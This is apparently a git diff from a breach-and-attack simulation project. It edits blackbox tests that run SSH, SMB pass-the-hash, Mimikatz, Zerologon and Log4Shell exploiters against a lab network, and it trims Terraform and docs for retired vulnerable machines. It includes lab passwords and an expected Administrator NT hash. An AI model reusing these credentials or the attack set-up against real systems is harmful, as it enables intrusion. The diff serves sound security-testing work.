analyzers=[analyzer], + timeout=timeout_in_seconds, + log_handler=log_handler, + ).run() + + @staticmethod + def run_performance_test( + performance_test_class, + island_client, + config_template, + timeout_in_seconds, + break_on_timeout=False, + ): + raw_config = IslandConfigParser.get_raw_config(config_template, island_client) + log_handler = TestLogsHandler( + performance_test_class.TEST_NAME, island_client, TestMonkeyBlackbox.get_log_dir_path() + ) + analyzers = [ + CommunicationAnalyzer(island_client, IslandConfigParser.get_ips_of_targets(raw_config)) + ] + performance_test_class( + island_client=island_client, + raw_config=raw_config, + analyzers=analyzers, + timeout=timeout_in_seconds, + log_handler=log_handler, + break_on_timeout=break_on_timeout, + ).run() + + @staticmethod + def get_log_dir_path(): + return os.path.abspath(LOG_DIR_PATH) + + def test_ssh_exploiter(self, island_client): + TestMonkeyBlackbox.run_exploitation_test(island_client, Ssh, "SSH_exploiter_and_keys") + + def test_hadoop_exploiter(self, island_client): + TestMonkeyBlackbox.run_exploitation_test(island_client, Hadoop, "Hadoop_exploiter", 6 * 60) + + def test_mssql_exploiter(self, island_client): + TestMonkeyBlackbox.run_exploitation_test(island_client, Mssql, "MSSQL_exploiter") + + def test_powershell_exploiter(self, island_client): + TestMonkeyBlackbox.run_exploitation_test( + island_client, PowerShell, "PowerShell_Remoting_exploiter" + ) + + @pytest.mark.skip_powershell_reuse + def test_powershell_exploiter_credentials_reuse(self, island_client): + TestMonkeyBlackbox.run_exploitation_test( + island_client, + PowerShellCredentialsReuse, + "PowerShell_Remoting_exploiter_credentials_reuse", + ) + + def test_smb_and_mimikatz_exploiters(self, island_client): + TestMonkeyBlackbox.run_exploitation_test( + island_client, SmbMimikatz, "SMB_exploiter_mimikatz" + ) + + def test_smb_pth(self, island_client): + TestMonkeyBlackbox.run_exploitation_test(island_client, SmbPth, "SMB_PTH") + + @pytest.mark.skip(reason="Drupal exploiter is deprecated") + def test_drupal_exploiter(self, island_client): + TestMonkeyBlackbox.run_exploitation_test(island_client, Drupal, "Drupal_exploiter") + + @pytest.mark.skip(reason="Struts2 exploiter is deprecated") + def test_struts_exploiter(self, island_client): + TestMonkeyBlackbox.run_exploitation_test(island_client, Struts2, "Struts2_exploiter") + + @pytest.mark.skip(reason="Weblogic exploiter is deprecated") + def test_weblogic_exploiter(self, island_client): + TestMonkeyBlackbox.run_exploitation_test(island_client, Weblogic, "Weblogic_exploiter") + + def test_log4j_solr_exploiter(self, island_client): + TestMonkeyBlackbox.run_exploitation_test( + island_client, Log4jSolr, "Log4Shell_Solr_exploiter" + ) + + def test_log4j_tomcat_exploiter(self, island_client): + TestMonkeyBlackbox.run_exploitation_test( + island_client, Log4jTomcat, "Log4Shell_tomcat_exploiter" + ) + + def test_log4j_logstash_exploiter(self, island_client): + TestMonkeyBlackbox.run_exploitation_test( + island_client, Log4jLogstash, "Log4Shell_logstash_exploiter" + ) + + def test_tunneling(self, island_client): + TestMonkeyBlackbox.run_exploitation_test( + island_client, Tunneling, "Tunneling_exploiter", 3 * 60 + ) + + def test_wmi_and_mimikatz_exploiters(self, island_client): + TestMonkeyBlackbox.run_exploitation_test( + island_client, WmiMimikatz, "WMI_exploiter,_mimikatz" + ) + + def test_wmi_pth(self, island_client): + TestMonkeyBlackbox.run_exploitation_test(island_client, WmiPth, "WMI_PTH") + + def test_zerologon_exploiter(self, island_client): + test_name = "Zerologon_exploiter" + expected_creds = [ + "Administrator", + "aad3b435b51404eeaad3b435b51404ee", + "2864b62ea4496934a5d6e86f50b834a5", + ] + raw_config = IslandConfigParser.get_raw_config(Zerologon, island_client) + zero_logon_analyzer = ZerologonAnalyzer(island_client, expected_creds) + communication_analyzer = CommunicationAnalyzer( + island_client, IslandConfigParser.get_ips_of_targets(raw_config) + ) + log_handler = TestLogsHandler( + test_name, island_client, TestMonkeyBlackbox.get_log_dir_path() + ) + ExploitationTest( + name=test_name, + island_client=island_client, + raw_config=raw_config, + analyzers=[zero_logon_analyzer, communication_analyzer], + timeout=DEFAULT_TIMEOUT_SECONDS, + log_handler=log_handler, + ).run() + + @pytest.mark.skip( + reason="Perfomance test that creates env from fake telemetries is faster, use that instead." + ) + def test_report_generation_performance(self, island_client, quick_performance_tests): + """ + This test includes the SSH + Hadoop + MSSQL machines all in one test + for a total of 8 machines including the Monkey Island. + + Is has 2 analyzers - the regular one which checks all the Monkeys + and the Timing one which checks how long the report took to execute + """ + if not quick_performance_tests: + TestMonkeyBlackbox.run_performance_test( + ReportGenerationTest, island_client, Performance, timeout_in_seconds=10 * 60 + ) + else: + LOGGER.error("This test doesn't support 'quick_performance_tests' option.") + assert False + + @pytest.mark.skip( + reason="Perfomance test that creates env from fake telemetries is faster, use that instead." + ) + def test_map_generation_performance(self, island_client, quick_performance_tests): + if not quick_performance_tests: + TestMonkeyBlackbox.run_performance_test( + MapGenerationTest, island_client, "PERFORMANCE.conf", timeout_in_seconds=10 * 60 + ) + else: + LOGGER.error("This test doesn't support 'quick_performance_tests' option.") + assert False + + @pytest.mark.run_performance_tests + def test_report_generation_from_fake_telemetries(self, island_client, quick_performance_tests): + ReportGenerationFromTelemetryTest(island_client, quick_performance_tests).run() + + @pytest.mark.run_performance_tests + def test_map_generation_from_fake_telemetries(self, island_client, quick_performance_tests): + MapGenerationFromTelemetryTest(island_client, quick_performance_tests).run() + + @pytest.mark.run_performance_tests + def test_telem_performance(self, island_client, quick_performance_tests): + TelemetryPerformanceTest( + island_client, quick_performance_tests + ).test_telemetry_performance() diff --git a/envs/monkey_zoo/blackbox/tests/exploitation.py b/envs/monkey_zoo/blackbox/tests/exploitation.py index ddc6bc9c2..f439e11db 100644 --- a/envs/monkey_zoo/blackbox/tests/exploitation.py +++ b/envs/monkey_zoo/blackbox/tests/exploitation.py @@ -5,10 +5,10 @@ from envs.monkey_zoo.blackbox.island_client.island_config_parser import IslandCo from envs.monkey_zoo.blackbox.tests.basic_test import BasicTest from envs.monkey_zoo.blackbox.utils.test_timer import TestTimer -MAX_TIME_FOR_MONKEYS_TO_DIE = 5 * 60 -WAIT_TIME_BETWEEN_REQUESTS = 5 -TIME_FOR_MONKEY_PROCESS_TO_FINISH = 10 -DELAY_BETWEEN_ANALYSIS = 3 +MAX_TIME_FOR_MONKEYS_TO_DIE = 2 * 60 +WAIT_TIME_BETWEEN_REQUESTS = 1 +TIME_FOR_MONKEY_PROCESS_TO_FINISH = 5 +DELAY_BETWEEN_ANALYSIS = 1 LOGGER = logging.getLogger(__name__) @@ -89,6 +89,7 @@ class ExploitationTest(BasicTest): if time_passed > MAX_TIME_FOR_MONKEYS_TO_DIE: LOGGER.error("Some monkeys didn't die after the test, failing") assert False + LOGGER.info(f"After {time_passed} seconds all monkeys have died") def parse_logs(self): LOGGER.info("Parsing test logs:") diff --git a/envs/monkey_zoo/blackbox/utils/config_generation_script.py b/envs/monkey_zoo/blackbox/utils/config_generation_script.py index 305d71658..3a5f06c50 100644 --- a/envs/monkey_zoo/blackbox/utils/config_generation_script.py +++ b/envs/monkey_zoo/blackbox/utils/config_generation_script.py @@ -3,25 +3,15 @@ import pathlib from typing import Type from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate -from envs.monkey_zoo.blackbox.config_templates.drupal import Drupal -from envs.monkey_zoo.blackbox.config_templates.elastic import Elastic -from envs.monkey_zoo.blackbox.config_templates.hadoop import Hadoop -from envs.monkey_zoo.blackbox.config_templates.log4j_logstash import Log4jLogstash -from envs.monkey_zoo.blackbox.config_templates.log4j_solr import Log4jSolr -from envs.monkey_zoo.blackbox.config_templates.log4j_tomcat import Log4jTomcat -from envs.monkey_zoo.blackbox.config_templates.mssql import Mssql -from envs.monkey_zoo.blackbox.config_templates.performance import Performance -from envs.monkey_zoo.blackbox.config_templates.powershell import PowerShell -from envs.monkey_zoo.blackbox.config_templates.shellshock import ShellShock -from envs.monkey_zoo.blackbox.config_templates.smb_mimikatz import SmbMimikatz -from envs.monkey_zoo.blackbox.config_templates.smb_pth import SmbPth -from envs.monkey_zoo.blackbox.config_templates.ssh import Ssh -from envs.monkey_zoo.blackbox.config_templates.struts2 import Struts2 -from envs.monkey_zoo.blackbox.config_templates.tunneling import Tunneling -from envs.monkey_zoo.blackbox.config_templates.weblogic import Weblogic -from envs.monkey_zoo.blackbox.config_templates.wmi_mimikatz import WmiMimikatz -from envs.monkey_zoo.blackbox.config_templates.wmi_pth import WmiPth -from envs.monkey_zoo.blackbox.config_templates.zerologon import Zerologon +from envs.monkey_zoo.blackbox.config_templates.grouped.depth_1_a import Depth1A +from envs.monkey_zoo.blackbox.config_templates.grouped.depth_2_a import Depth2A +from envs.monkey_zoo.blackbox.config_templates.grouped.depth_3_a import Depth3A +from envs.monkey_zoo.blackbox.config_templates.single_tests.powershell_credentials_reuse import ( + PowerShellCredentialsReuse, +) +from envs.monkey_zoo.blackbox.config_templates.single_tests.smb_pth import SmbPth +from envs.monkey_zoo.blackbox.config_templates.single_tests.wmi_mimikatz import WmiMimikatz +from envs.monkey_zoo.blackbox.config_templates.single_tests.zerologon import Zerologon from envs.monkey_zoo.blackbox.island_client.island_config_parser import IslandConfigParser from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient @@ -38,27 +28,14 @@ parser.add_argument( args = parser.parse_args() island_client = MonkeyIslandClient(args.island_ip) - CONFIG_TEMPLATES = [ - Elastic, - Hadoop, - Mssql, - Performance, - PowerShell, - ShellShock, - SmbMimikatz, - SmbPth, - Ssh, - Struts2, - Tunneling, - Weblogic, - WmiMimikatz, - WmiPth, + Depth1A, + Depth2A, + Depth3A, Zerologon, - Drupal, - Log4jLogstash, - Log4jTomcat, - Log4jSolr, + SmbPth, + WmiMimikatz, + PowerShellCredentialsReuse, ] diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md index 975f5c040..617106c4d 100644 --- a/envs/monkey_zoo/docs/fullDocs.md +++ b/envs/monkey_zoo/docs/fullDocs.md @@ -9,9 +9,6 @@ This document describes Infection Monkey’s test network, how to deploy and use [Machines](#machines)
[Nr. 2 Hadoop](#_Toc526517182)
[Nr. 3 Hadoop](#_Toc526517183)
-[Nr. 4 Elastic](#_Toc526517184)
-[Nr. 5 Elastic](#_Toc526517185)
-[Nr. 8 Shellshock](#_Toc536021461)
[Nr. 9 Tunneling M1](#_Toc536021462)
[Nr. 10 Tunneling M2](#_Toc536021463)
[Nr. 11 SSH key steal](#_Toc526517190)
@@ -21,13 +18,8 @@ This document describes Infection Monkey’s test network, how to deploy and use [Nr. 15 Mimikatz](#_Toc536021468)
[Nr. 16 MsSQL](#_Toc536021469)
[Nr. 17 Upgrader](#_Toc536021470)
-[Nr. 18 WebLogic](#_Toc526517180)
-[Nr. 19 WebLogic](#_Toc526517181)
-[Nr. 20 SMB](#_Toc536021473)
[Nr. 21 Scan](#_Toc526517196)
[Nr. 22 Scan](#_Toc526517197)
-[Nr. 23 Struts2](#_Toc536021476)
-[Nr. 24 Struts2](#_Toc536021477)
[Nr. 25 Zerologon](#_Toc536021478)
[Nr. 3-45 Powershell](#_Toc536021479)
[Nr. 3-46 Powershell](#_Toc536021480)
@@ -252,112 +244,6 @@ Update all requirements using deployment script:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Nr. 4 Elastic

-

(10.2.2.4)

(Vulnerable)
OS:Ubuntu 16.04.05 x64
Software:

JDK,

-

Elastic 1.4.2

Default server’s port:9200
Server’s config:Default
Scan results:Machine exploited using Elastic exploiter
Notes:Quick tutorial on how to add entries (was useful when setting up).
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Nr. 5 Elastic

-

(10.2.2.5)

(Vulnerable)
OS:Windows 10 x64
Software:

JDK,

-

Elastic 1.4.2

Default server’s port:9200
Server’s config:Default
Scan results:Machine exploited using Elastic exploiter
Notes:Quick tutorial on how to add entries (was useful when setting up).
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Nr. 8 Shellshock

-

(10.2.2.8)

(Vulnerable)
OS:Ubuntu 12.04 LTS x64
Software:Apache2, bash 4.2.
Default server’s port:80
Scan results:Machine exploited using Shellshock exploiter
Notes:Vulnerable app is under /cgi-bin/test.cgi
- @@ -744,116 +630,6 @@ Update all requirements using deployment script:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Nr. 18 WebLogic

-

(10.2.2.18)

(Vulnerable)
OS:Ubuntu 16.04.05 x64
Software:

JDK,

-

Oracle WebLogic server 12.2.1.2

Default server’s port:7001
Admin domain credentials:weblogic : B74Ot0c4
Server’s config:Default
Notes:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Nr. 19 WebLogic

-

(10.2.2.19)

(Vulnerable)
OS:Windows 10 x64
Software:

JDK,

-

Oracle WebLogic server 12.2.1.2

Default server’s port:7001
Admin servers credentials:weblogic : =ThS2d=m(`B
Server’s config:Default
Notes:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Nr. 20 SMB

-

(10.2.2.20)

(Vulnerable)
OS:Windows 10 x64
Software:-
Default service’s port:445
Root password:YbS,<tpS.2av
Server’s config:SMB turned on
Notes:
- @@ -922,74 +698,6 @@ Update all requirements using deployment script:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Nr. 23 Struts2

-

(10.2.2.23)

(Vulnerable)
OS:Ubuntu 16.04.05 x64
Software:

JDK,

-

struts2 2.3.15.1,

-

tomcat 9.0.0.M9

Default server’s port:8080
Server’s config:Default
Notes:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Nr. 24 Struts2

-

(10.2.2.24)

(Vulnerable)
OS:Windows 10 x64
Software:

JDK,

-

struts2 2.3.15.1,

-

tomcat 9.0.0.M9

Default server’s port:8080
Server’s config:Default
Notes:
- @@ -1063,7 +771,9 @@ Accessibale through Island using m0nk3y-user. +Accessible using the same m0nk3y user from island, in other words powershell exploiter can exploit +this machine without credentials as long as the user running the agent is the same on both +machines
Notes: User: m0nk3y, Password: nPj8rbc3
-Accessiable through cached credentials (Windows Island)
diff --git a/envs/monkey_zoo/terraform/images.tf b/envs/monkey_zoo/terraform/images.tf index a3e2bcb73..3dadc5876 100644 --- a/envs/monkey_zoo/terraform/images.tf +++ b/envs/monkey_zoo/terraform/images.tf @@ -7,19 +7,6 @@ data "google_compute_image" "hadoop-3" { name = "hadoop-3" project = local.monkeyzoo_project } -data "google_compute_image" "elastic-4" { - name = "elastic-4" - project = local.monkeyzoo_project -} -data "google_compute_image" "elastic-5" { - name = "elastic-5" - project = local.monkeyzoo_project -} - -data "google_compute_image" "shellshock-8" { - name = "shellshock-8" - project = local.monkeyzoo_project -} data "google_compute_image" "tunneling-9" { name = "tunneling-9" project = local.monkeyzoo_project @@ -96,18 +83,6 @@ data "google_compute_image" "log4j-logstash-56" { name = "log4j-logstash-56" project = local.monkeyzoo_project } -data "google_compute_image" "weblogic-18" { - name = "weblogic-18" - project = local.monkeyzoo_project -} -data "google_compute_image" "weblogic-19" { - name = "weblogic-19" - project = local.monkeyzoo_project -} -data "google_compute_image" "smb-20" { - name = "smb-20" - project = local.monkeyzoo_project -} data "google_compute_image" "scan-21" { name = "scan-21" project = local.monkeyzoo_project @@ -116,22 +91,10 @@ data "google_compute_image" "scan-22" { name = "scan-22" project = local.monkeyzoo_project } -data "google_compute_image" "struts2-23" { - name = "struts2-23" - project = local.monkeyzoo_project -} -data "google_compute_image" "struts2-24" { - name = "struts2-24" - project = local.monkeyzoo_project -} data "google_compute_image" "zerologon-25" { name = "zerologon-25" project = local.monkeyzoo_project } -data "google_compute_image" "drupal-28" { - name = "drupal-28" - project = local.monkeyzoo_project -} data "google_compute_image" "island-linux-250" { name = "island-linux-250" project = local.monkeyzoo_project diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf index a53c59007..de0b922f5 100644 --- a/envs/monkey_zoo/terraform/monkey_zoo.tf +++ b/envs/monkey_zoo/terraform/monkey_zoo.tf @@ -76,51 +76,6 @@ resource "google_compute_instance_from_template" "hadoop-3" { } } -resource "google_compute_instance_from_template" "elastic-4" { - name = "${local.resource_prefix}elastic-4" - source_instance_template = local.default_ubuntu - boot_disk{ - initialize_params { - image = data.google_compute_image.elastic-4.self_link - } - auto_delete = true - } - network_interface { - subnetwork="${local.resource_prefix}monkeyzoo-main" - network_ip="10.2.2.4" - } -} - -resource "google_compute_instance_from_template" "elastic-5" { - name = "${local.resource_prefix}elastic-5" - source_instance_template = local.default_windows - boot_disk{ - initialize_params { - image = data.google_compute_image.elastic-5.self_link - } - auto_delete = true - } - network_interface { - subnetwork="${local.resource_prefix}monkeyzoo-main" - network_ip="10.2.2.5" - } -} - -resource "google_compute_instance_from_template" "shellshock-8" { - name = "${local.resource_prefix}shellshock-8" - source_instance_template = local.default_ubuntu - boot_disk{ - initialize_params { - image = data.google_compute_image.shellshock-8.self_link - } - auto_delete = true - } - network_interface { - subnetwork="${local.resource_prefix}monkeyzoo-main" - network_ip="10.2.2.8" - } -} - resource "google_compute_instance_from_template" "tunneling-9" { name = "${local.resource_prefix}tunneling-9" source_instance_template = local.default_ubuntu @@ -445,71 +400,6 @@ resource "google_compute_instance_from_template" "log4j-logstash-56" { } } -/* We need to alter monkey's behavior for this to upload 32-bit monkey instead of 64-bit (not yet developed) -resource "google_compute_instance_from_template" "upgrader-17" { - name = "${local.resource_prefix}upgrader-17" - source_instance_template = "${local.default_windows}" - boot_disk{ - initialize_params { - image = "${data.google_compute_image.upgrader-17.self_link}" - } - } - network_interface { - subnetwork="${local.resource_prefix}monkeyzoo-main" - network_ip="10.2.2.17" - access_config { - // Cheaper, non-premium routing - network_tier = "STANDARD" - } - } -} -*/ - -resource "google_compute_instance_from_template" "weblogic-18" { - name = "${local.resource_prefix}weblogic-18" - source_instance_template = local.default_ubuntu - boot_disk{ - initialize_params { - image = data.google_compute_image.weblogic-18.self_link - } - auto_delete = true - } - network_interface { - subnetwork="${local.resource_prefix}monkeyzoo-main" - network_ip="10.2.2.18" - } -} - -resource "google_compute_instance_from_template" "weblogic-19" { - name = "${local.resource_prefix}weblogic-19" - source_instance_template = local.default_windows - boot_disk{ - initialize_params { - image = data.google_compute_image.weblogic-19.self_link - } - auto_delete = true - } - network_interface { - subnetwork="${local.resource_prefix}monkeyzoo-main" - network_ip="10.2.2.19" - } -} - -resource "google_compute_instance_from_template" "smb-20" { - name = "${local.resource_prefix}smb-20" - source_instance_template = local.default_windows - boot_disk{ - initialize_params { - image = data.google_compute_image.smb-20.self_link - } - auto_delete = true - } - network_interface { - subnetwork="${local.resource_prefix}monkeyzoo-main" - network_ip="10.2.2.20" - } -} - resource "google_compute_instance_from_template" "scan-21" { name = "${local.resource_prefix}scan-21" source_instance_template = local.default_ubuntu @@ -540,36 +430,6 @@ resource "google_compute_instance_from_template" "scan-22" { } } -resource "google_compute_instance_from_template" "struts2-23" { - name = "${local.resource_prefix}struts2-23" - source_instance_template = local.default_ubuntu - boot_disk{ - initialize_params { - image = data.google_compute_image.struts2-23.self_link - } - auto_delete = true - } - network_interface { - subnetwork="${local.resource_prefix}monkeyzoo-main" - network_ip="10.2.2.23" - } -} - -resource "google_compute_instance_from_template" "struts2-24" { - name = "${local.resource_prefix}struts2-24" - source_instance_template = local.default_windows - boot_disk{ - initialize_params { - image = data.google_compute_image.struts2-24.self_link - } - auto_delete = true - } - network_interface { - subnetwork="${local.resource_prefix}monkeyzoo-main" - network_ip="10.2.2.24" - } -} - resource "google_compute_instance_from_template" "zerologon-25" { name = "${local.resource_prefix}zerologon-25" source_instance_template = local.default_windows @@ -585,21 +445,6 @@ resource "google_compute_instance_from_template" "zerologon-25" { } } -resource "google_compute_instance_from_template" "drupal-28" { - name = "${local.resource_prefix}drupal-28" - source_instance_template = local.default_windows - boot_disk{ - initialize_params { - image = data.google_compute_image.drupal-28.self_link - } - auto_delete = true - } - network_interface { - subnetwork="${local.resource_prefix}monkeyzoo-main" - network_ip="10.2.2.28" - } -} - resource "google_compute_instance_from_template" "island-linux-250" { name = "${local.resource_prefix}island-linux-250" machine_type = "n1-standard-2" diff --git a/monkey/common/cloud/aws/aws_instance.py b/monkey/common/cloud/aws/aws_instance.py index 4bdc89bf3..76f4ab258 100644 --- a/monkey/common/cloud/aws/aws_instance.py +++ b/monkey/common/cloud/aws/aws_instance.py @@ -12,6 +12,8 @@ ACCOUNT_ID_KEY = "accountId" logger = logging.getLogger(__name__) +AWS_TIMEOUT = 2 + class AwsInstance(CloudInstance): """ @@ -28,12 +30,14 @@ class AwsInstance(CloudInstance): try: response = requests.get( - AWS_LATEST_METADATA_URI_PREFIX + "meta-data/instance-id", timeout=2 + AWS_LATEST_METADATA_URI_PREFIX + "meta-data/instance-id", + timeout=AWS_TIMEOUT, ) self.instance_id = response.text if response else None self.region = self._parse_region( requests.get( - AWS_LATEST_METADATA_URI_PREFIX + "meta-data/placement/availability-zone" + AWS_LATEST_METADATA_URI_PREFIX + "meta-data/placement/availability-zone", + timeout=AWS_TIMEOUT, ).text ) except (requests.RequestException, IOError) as e: @@ -42,7 +46,8 @@ class AwsInstance(CloudInstance): try: self.account_id = self._extract_account_id( requests.get( - AWS_LATEST_METADATA_URI_PREFIX + "dynamic/instance-identity/document", timeout=2 + AWS_LATEST_METADATA_URI_PREFIX + "dynamic/instance-identity/document", + timeout=AWS_TIMEOUT, ).text ) except (requests.RequestException, json.decoder.JSONDecodeError, IOError) as e: diff --git a/monkey/common/cloud/scoutsuite_consts.py b/monkey/common/cloud/scoutsuite_consts.py deleted file mode 100644 index e2d0c1664..000000000 --- a/monkey/common/cloud/scoutsuite_consts.py +++ /dev/null @@ -1,5 +0,0 @@ -from enum import Enum - - -class CloudProviders(Enum): - AWS = "aws" diff --git a/monkey/common/cmd/aws/aws_cmd_runner.py b/monkey/common/cmd/aws/aws_cmd_runner.py index f4b8cd7bc..c1c65ecb9 100644 --- a/monkey/common/cmd/aws/aws_cmd_runner.py +++ b/monkey/common/cmd/aws/aws_cmd_runner.py @@ -1,4 +1,5 @@ import logging +import time from common.cloud.aws.aws_service import AwsService from common.cmd.aws.aws_cmd_result import AwsCmdResult @@ -20,6 +21,7 @@ class AwsCmdRunner(CmdRunner): self.ssm = AwsService.get_client("ssm", region) def query_command(self, command_id): + time.sleep(2) return self.ssm.get_command_invocation(CommandId=command_id, InstanceId=self.instance_id) def get_command_result(self, command_info): diff --git a/monkey/common/common_consts/api_url_consts.py b/monkey/common/common_consts/api_url_consts.py deleted file mode 100644 index 91f289218..000000000 --- a/monkey/common/common_consts/api_url_consts.py +++ /dev/null @@ -1 +0,0 @@ -T1216_PBA_FILE_DOWNLOAD_PATH = "/api/t1216-pba/download" diff --git a/monkey/common/common_consts/credential_collector_names.py b/monkey/common/common_consts/credential_collector_names.py new file mode 100644 index 000000000..45ee8f889 --- /dev/null +++ b/monkey/common/common_consts/credential_collector_names.py @@ -0,0 +1,2 @@ +MIMIKATZ_COLLECTOR = "MimikatzCollector" +SSH_COLLECTOR = "SSHCollector" diff --git a/monkey/common/common_consts/credential_component_type.py b/monkey/common/common_consts/credential_component_type.py new file mode 100644 index 000000000..25bd3a168 --- /dev/null +++ b/monkey/common/common_consts/credential_component_type.py @@ -0,0 +1,9 @@ +from enum import Enum, auto + + +class CredentialComponentType(Enum): + USERNAME = auto() + PASSWORD = auto() + NT_HASH = auto() + LM_HASH = auto() + SSH_KEYPAIR = auto() diff --git a/monkey/common/common_consts/post_breach_consts.py b/monkey/common/common_consts/post_breach_consts.py index 01d314482..19b6c4f19 100644 --- a/monkey/common/common_consts/post_breach_consts.py +++ b/monkey/common/common_consts/post_breach_consts.py @@ -9,3 +9,4 @@ POST_BREACH_TIMESTOMPING = "Modify files' timestamps" POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC = "Signed script proxy execution" POST_BREACH_ACCOUNT_DISCOVERY = "Account discovery" POST_BREACH_CLEAR_CMD_HISTORY = "Clear command history" +POST_BREACH_PROCESS_LIST_COLLECTION = "Collect running processes" diff --git a/monkey/common/common_consts/system_info_collectors_names.py b/monkey/common/common_consts/system_info_collectors_names.py deleted file mode 100644 index d65c45b7b..000000000 --- a/monkey/common/common_consts/system_info_collectors_names.py +++ /dev/null @@ -1,3 +0,0 @@ -AWS_COLLECTOR = "AwsCollector" -PROCESS_LIST_COLLECTOR = "ProcessListCollector" -MIMIKATZ_COLLECTOR = "MimikatzCollector" diff --git a/monkey/common/common_consts/telem_categories.py b/monkey/common/common_consts/telem_categories.py index 8c39abd74..669b2379c 100644 --- a/monkey/common/common_consts/telem_categories.py +++ b/monkey/common/common_consts/telem_categories.py @@ -1,11 +1,11 @@ class TelemCategoryEnum: + ATTACK = "attack" + AWS_INFO = "aws_info" + CREDENTIALS = "credentials" EXPLOIT = "exploit" + FILE_ENCRYPTION = "file_encryption" POST_BREACH = "post_breach" SCAN = "scan" - SCOUTSUITE = "scoutsuite" STATE = "state" - SYSTEM_INFO = "system_info" TRACE = "trace" TUNNEL = "tunnel" - ATTACK = "attack" - FILE_ENCRYPTION = "file_encryption" diff --git a/monkey/common/common_consts/timeouts.py b/monkey/common/common_consts/timeouts.py index f315e7518..de9e6edc5 100644 --- a/monkey/common/common_consts/timeouts.py +++ b/monkey/common/common_consts/timeouts.py @@ -1,3 +1,4 @@ -SHORT_REQUEST_TIMEOUT = 2.5 # Seconds. Use where we expect timeout. +SHORT_REQUEST_TIMEOUT = 2.5 # Seconds. Use where we expect timeout and for small data transactions. MEDIUM_REQUEST_TIMEOUT = 5 # Seconds. Use where we don't expect timeout. LONG_REQUEST_TIMEOUT = 15 # Seconds. Use where we don't expect timeout and operate heavy data. +CONNECTION_TIMEOUT = 3 # Seconds. Use for TCP, SSH and other connections that shouldn't take long. diff --git a/monkey/common/common_consts/zero_trust_consts.py b/monkey/common/common_consts/zero_trust_consts.py index 245884e4a..3f2633b01 100644 --- a/monkey/common/common_consts/zero_trust_consts.py +++ b/monkey/common/common_consts/zero_trust_consts.py @@ -41,13 +41,6 @@ TEST_MALICIOUS_ACTIVITY_TIMELINE = "malicious_activity_timeline" TEST_SEGMENTATION = "segmentation" TEST_TUNNELING = "tunneling" TEST_COMMUNICATE_AS_BACKDOOR_USER = "communicate_as_backdoor_user" -TEST_SCOUTSUITE_PERMISSIVE_FIREWALL_RULES = "scoutsuite_permissive_firewall_rules" -TEST_SCOUTSUITE_UNENCRYPTED_DATA = "scoutsuite_unencrypted_data" -TEST_SCOUTSUITE_DATA_LOSS_PREVENTION = "scoutsuite_data_loss_prevention" -TEST_SCOUTSUITE_SECURE_AUTHENTICATION = "scoutsuite_secure_authentication" -TEST_SCOUTSUITE_RESTRICTIVE_POLICIES = "scoutsuite_unrestrictive_policies" -TEST_SCOUTSUITE_LOGGING = "scoutsuite_logging" -TEST_SCOUTSUITE_SERVICE_SECURITY = "scoutsuite_service_security" TESTS = ( TEST_SEGMENTATION, @@ -59,13 +52,6 @@ TESTS = ( TEST_DATA_ENDPOINT_ELASTIC, TEST_TUNNELING, TEST_COMMUNICATE_AS_BACKDOOR_USER, - TEST_SCOUTSUITE_PERMISSIVE_FIREWALL_RULES, - TEST_SCOUTSUITE_UNENCRYPTED_DATA, - TEST_SCOUTSUITE_DATA_LOSS_PREVENTION, - TEST_SCOUTSUITE_SECURE_AUTHENTICATION, - TEST_SCOUTSUITE_RESTRICTIVE_POLICIES, - TEST_SCOUTSUITE_LOGGING, - TEST_SCOUTSUITE_SERVICE_SECURITY, ) PRINCIPLE_DATA_CONFIDENTIALITY = "data_transit" @@ -219,77 +205,6 @@ TESTS_MAP = { PILLARS_KEY: [PEOPLE, NETWORKS, VISIBILITY_ANALYTICS], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, - TEST_SCOUTSUITE_PERMISSIVE_FIREWALL_RULES: { - TEST_EXPLANATION_KEY: "ScoutSuite assessed cloud firewall rules and settings.", - FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "ScoutSuite found overly permissive firewall rules.", - STATUS_PASSED: "ScoutSuite found no problems with cloud firewall rules.", - }, - PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES, - PILLARS_KEY: [NETWORKS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], - }, - TEST_SCOUTSUITE_UNENCRYPTED_DATA: { - TEST_EXPLANATION_KEY: "ScoutSuite searched for resources containing " "unencrypted data.", - FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "ScoutSuite found resources with unencrypted data.", - STATUS_PASSED: "ScoutSuite found no resources with unencrypted data.", - }, - PRINCIPLE_KEY: PRINCIPLE_DATA_CONFIDENTIALITY, - PILLARS_KEY: [DATA], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], - }, - TEST_SCOUTSUITE_DATA_LOSS_PREVENTION: { - TEST_EXPLANATION_KEY: "ScoutSuite searched for resources which are not " - "protected against data loss.", - FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "ScoutSuite found resources not protected against data loss.", - STATUS_PASSED: "ScoutSuite found that all resources are secured against data loss.", - }, - PRINCIPLE_KEY: PRINCIPLE_DISASTER_RECOVERY, - PILLARS_KEY: [DATA], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], - }, - TEST_SCOUTSUITE_SECURE_AUTHENTICATION: { - TEST_EXPLANATION_KEY: "ScoutSuite searched for issues related to users' " "authentication.", - FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "ScoutSuite found issues related to users' authentication.", 